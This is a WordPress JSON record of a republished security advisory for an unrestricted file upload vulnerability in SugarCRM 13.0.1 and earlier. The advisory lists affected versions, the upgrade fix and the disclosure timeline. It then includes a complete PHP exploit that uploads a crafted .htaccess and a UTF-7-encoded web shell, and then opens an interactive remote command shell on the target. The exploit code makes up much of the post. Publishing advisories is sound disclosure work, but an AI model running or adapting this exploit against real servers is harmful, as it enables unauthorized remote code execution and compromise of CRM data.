{"id":50652,"date":"2023-10-27T17:12:43","date_gmt":"2023-10-27T14:12:43","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/175383\/KIS-2023-11.txt"},"modified":"2023-10-31T08:54:50","modified_gmt":"2023-10-31T05:24:50","slug":"sugarcrm-13-0-1-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/sugarcrm-13-0-1-shell-upload\/","title":{"rendered":"SugarCRM 13.0.1 Shell Upload"},"content":{"rendered":"<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\nSugarCRM &lt;= 13.0.1 (set_note_attachment) Unrestricted File Upload<br \/>\nVulnerability<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n[-] Software Link:<\/p>\n<blockquote class=\"wp-embedded-content\" data-secret=\"tll6SkHK0U\"><p><a href=\"https:\/\/www.sugarcrm.com\/\" target=\"_blank\" rel=\"noopener\">Home<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Home&#8221; &#8212; SugarCRM\" src=\"https:\/\/www.sugarcrm.com\/embed\/#?secret=qqst2Rscc0#?secret=tll6SkHK0U\" data-secret=\"tll6SkHK0U\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><\/p>\n[-] Affected Versions:<\/p>\n<p>Version 13.0.1 and prior versions.<br \/>\nVersion 12.0.3 and prior versions.<\/p>\n[-] Vulnerability Description:<\/p>\n<p>When handling the &#8220;set_note_attachment&#8221; SOAP call, the application<br \/>\nallows uploading of<br \/>\nany kind of file into \/upload\/ directory. This one is protected by the<br \/>\nmain SugarCRM<br \/>\n.htaccess file, i.e. it doesn&#8217;t allow access\/execution of PHP files.<br \/>\nHowever, this<br \/>\nbehavior can be overridden if the subdirectory contains another<br \/>\n.htaccess file.<br \/>\nSo, an attacker can leverage the vulnerability to firstly upload a new<br \/>\n.htaccess<br \/>\nfile and then to upload the PHP code they want to execute.<\/p>\n[-] Proof of Concept:<\/p>\n<p>https:\/\/karmainsecurity.com\/pocs\/KIS-2023-11.php<\/p>\n<p>(Packet Storm note: POC included at bottom)<\/p>\n[-] Solution:<\/p>\n<p>Upgrade to version 13.0.2, 12.0.4, or later.<\/p>\n[-] Disclosure Timeline:<\/p>\n[23\/04\/2023] &#8211; Vendor notified<br \/>\n[21\/09\/2023] &#8211; Fixed versions released<br \/>\n[06\/10\/2023] &#8211; CVE identifier requested<br \/>\n[26\/10\/2023] &#8211; Publication of this advisory<\/p>\n[-] CVE Reference:<\/p>\n<p>The Common Vulnerabilities and Exposures project (cve.mitre.org)<br \/>\nhas not assigned a CVE identifier for this vulnerability.<\/p>\n[-] Credits:<\/p>\n<p>Vulnerability discovered by Egidio Romano.<\/p>\n[-] Original Advisory:<\/p>\n<p>https:\/\/karmainsecurity.com\/KIS-2023-11<\/p>\n[-] Other References:<\/p>\n<p>https:\/\/support.sugarcrm.com\/resources\/security\/sugarcrm-sa-2023-011\/<\/p>\n<p>&#8212; KIS-2023-11.php poc &#8212;<\/p>\n<p>&lt;?php<\/p>\n<p>set_time_limit(0);<br \/>\nerror_reporting(E_ERROR);<\/p>\n<p>if (!extension_loaded(&#8220;curl&#8221;)) die(&#8220;[+] cURL extension required!\\n&#8221;);<\/p>\n<p>if ($argc != 4) die(&#8220;Usage: php $argv[0] &lt;URL&gt; &lt;username&gt; &lt;password&gt;\\n&#8221;);<\/p>\n<p>list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];<\/p>\n<p>print &#8220;[+] Logging in with username &#8216;{$user}&#8217; and password &#8216;{$pass}&#8217;\\n&#8221;;<\/p>\n<p>$ch = curl_init();<\/p>\n<p>$params = [&#8220;username&#8221; =&gt; $user, &#8220;password&#8221; =&gt; $pass, &#8220;grant_type&#8221; =&gt; &#8220;password&#8221;, &#8220;client_id&#8221; =&gt; &#8220;sugar&#8221;];<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}rest\/v10\/oauth2\/token&#8221;);<br \/>\ncurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));<br \/>\ncurl_setopt($ch, CURLOPT_HTTPHEADER, [&#8220;Content-Type: application\/json&#8221;]);<br \/>\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br \/>\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<\/p>\n<p>if (($token = (json_decode(curl_exec($ch)))-&gt;access_token) == null) die(&#8220;[+] Login failed!\\n&#8221;);<\/p>\n<p>print &#8220;[+] Creating new Notes bean (ID: .htaccess)\\n&#8221;;<\/p>\n<p>$note_id = &#8220;.htaccess&#8221;;<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}rest\/v10\/Notes&#8221;);<br \/>\ncurl_setopt($ch, CURLOPT_HTTPHEADER, [&#8220;Content-Type: application\/json&#8221;, &#8220;OAuth-Token: {$token}&#8221;]);<br \/>\ncurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([&#8220;id&#8221; =&gt; $note_id]));<\/p>\n<p>if (!preg_match(&#8220;\/$note_id\/&#8221;, curl_exec($ch))) die(&#8220;[+] Bean creation failed!\\n&#8221;);<\/p>\n<p>print &#8220;[+] Creating new Notes bean (ID: sh.php)\\n&#8221;;<\/p>\n<p>$note_id = &#8220;sh.php&#8221;;<\/p>\n<p>curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([&#8220;id&#8221; =&gt; $note_id]));<\/p>\n<p>if (!preg_match(&#8220;\/$note_id\/&#8221;, curl_exec($ch))) die(&#8220;[+] Bean creation failed!\\n&#8221;);<\/p>\n<p>require_once(&#8220;.\/lib\/nusoap.php&#8221;);<br \/>\n$client = new nusoap_client(&#8220;{$url}soap.php&#8221;, false);<\/p>\n<p>if (($err = $client-&gt;getError()))<br \/>\n{<br \/>\necho &#8220;\\nConstructor error: $err&#8221;;<br \/>\necho &#8220;\\nDebug: &#8221; . $client-&gt;getDebug() . &#8220;\\n&#8221;;<br \/>\ndie();<br \/>\n}<\/p>\n<p>print &#8220;[+] Sending SOAP login request\\n&#8221;;<\/p>\n<p>$params = [&#8220;user_auth&#8221; =&gt; [&#8220;user_name&#8221; =&gt; $user, &#8220;password&#8221; =&gt; $pass]];<br \/>\n$session = $client-&gt;call(&#8216;login&#8217;, $params);<\/p>\n<p>if ($session[&#8216;id&#8217;] == -1) die(&#8220;[+] SOAP login failed!\\n&#8221;);<\/p>\n<p>print &#8220;[+] Uploading .htaccess through &#8216;set_note_attachment&#8217;\\n&#8221;;<\/p>\n<p>$htaccess = &#8220;RewriteEngine on\\nRewriteBase \/upload\\nRewriteRule ^(.*)$ &#8211; [L]\\nphp_flag zend.multibyte 1\\nphp_value zend.script_encoding \\&#8221;UTF-7\\&#8221;&#8221;;<br \/>\n$params = [&#8220;session&#8221; =&gt; $session[&#8216;id&#8217;], &#8220;note&#8221; =&gt; [&#8220;id&#8221; =&gt; &#8220;.htaccess&#8221;, &#8220;file&#8221; =&gt; base64_encode($htaccess)]];<\/p>\n<p>$client-&gt;call(&#8220;set_note_attachment&#8221;, $params);<\/p>\n<p>print &#8220;[+] Uploading shell through &#8216;set_note_attachment&#8217;\\n&#8221;;<\/p>\n<p>$shell = &#8220;+ADw?php passthru(\\$_SERVER[&#8216;HTTP_CMD&#8217;]); ?&gt;&#8221;;<br \/>\n$params = [&#8220;session&#8221; =&gt; $session[&#8216;id&#8217;], &#8220;note&#8221; =&gt; [&#8220;id&#8221; =&gt; &#8220;sh.php&#8221;, &#8220;file&#8221; =&gt; base64_encode($shell)]];<\/p>\n<p>$client-&gt;call(&#8220;set_note_attachment&#8221;, $params);<\/p>\n<p>print &#8220;[+] Launching shell\\n&#8221;;<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}upload\/sh.php&#8221;);<\/p>\n<p>while(1)<br \/>\n{<br \/>\nprint &#8220;\\nsugar-shell# &#8220;;<br \/>\nif (($cmd = trim(fgets(STDIN))) == &#8220;exit&#8221;) break;<br \/>\ncurl_setopt($ch, CURLOPT_HTTPHEADER, [&#8220;CMD: &#8220;.$cmd]);<br \/>\n($r = curl_exec($ch)) ? print $r : die(&#8220;\\n[+] Exploit failed!\\n&#8221;);<br \/>\n}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- SugarCRM &lt;= 13.0.1 (set_note_attachment) Unrestricted File Upload Vulnerability &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- [-] Software Link: Home [-] Affected Versions: Version 13.0.1 and prior versions. Version 12.0.3 and prior versions. [-] Vulnerability Description: When handling the &#8220;set_note_attachment&#8221; SOAP call, the application allows uploading of any kind of file into \/upload\/ directory. This one is protected by the main &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-50652","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50652","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=50652"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50652\/revisions"}],"predecessor-version":[{"id":50761,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50652\/revisions\/50761"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=50652"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=50652"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=50652"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}